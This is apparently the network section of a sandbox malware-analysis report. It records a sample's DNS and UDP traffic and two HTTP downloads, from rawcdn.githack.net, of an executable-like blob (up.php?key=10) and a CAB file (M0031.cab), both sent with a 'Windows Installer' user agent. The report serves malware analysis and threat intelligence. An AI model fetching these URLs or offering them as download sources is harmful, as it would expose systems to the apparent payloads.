Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| rawcdn.githack.net | 185.178.208.155 |
- UDP Requests
-
-
192.168.56.102:57660 164.124.101.2:53
-
192.168.56.102:137 192.168.56.255:137
-
192.168.56.102:138 192.168.56.255:138
-
192.168.56.102:49152 239.255.255.250:3702
-
192.168.56.102:56752 239.255.255.250:1900
-
192.168.56.102:56754 239.255.255.250:3702
-
192.168.56.102:56756 239.255.255.250:3702
-
192.168.56.102:57661 239.255.255.250:3702
-
GET
200
http://rawcdn.githack.net/up.php?key=10
REQUEST
RESPONSE
BODY
GET /up.php?key=10 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows Installer
Host: rawcdn.githack.net
HTTP/1.1 200 OK
Server: ddos-guard
Connection: keep-alive
Keep-Alive: timeout=60
Set-Cookie: __ddg1=n3O3Fz6g0QBNXHyrA6sD; Domain=.githack.net; HttpOnly; Path=/; Expires=Fri, 03-Jun-2022 11:42:13 GMT
Content-Type: application/octet-stream
X-Powered-By: PHP/5.4.45
Date: Thu, 03 Jun 2021 11:42:05 GMT
Content-Length: 1019904
GET
200
http://rawcdn.githack.net/M0031.cab
REQUEST
RESPONSE
BODY
GET /M0031.cab HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows Installer
Host: rawcdn.githack.net
HTTP/1.1 200 OK
Server: ddos-guard
Connection: keep-alive
Keep-Alive: timeout=60
Set-Cookie: __ddg1=cJHvNYadi3hkPoUHGAOk; Domain=.githack.net; HttpOnly; Path=/; Expires=Fri, 03-Jun-2022 11:42:14 GMT
Content-Type: application/vnd.ms-cab-compressed
Last-Modified: Thu, 03 Jun 2021 11:17:38 GMT
Accept-Ranges: bytes
ETag: "2ccd81f6a58d71:0"
Date: Thu, 03 Jun 2021 11:42:06 GMT
Content-Length: 1296564
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
No Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts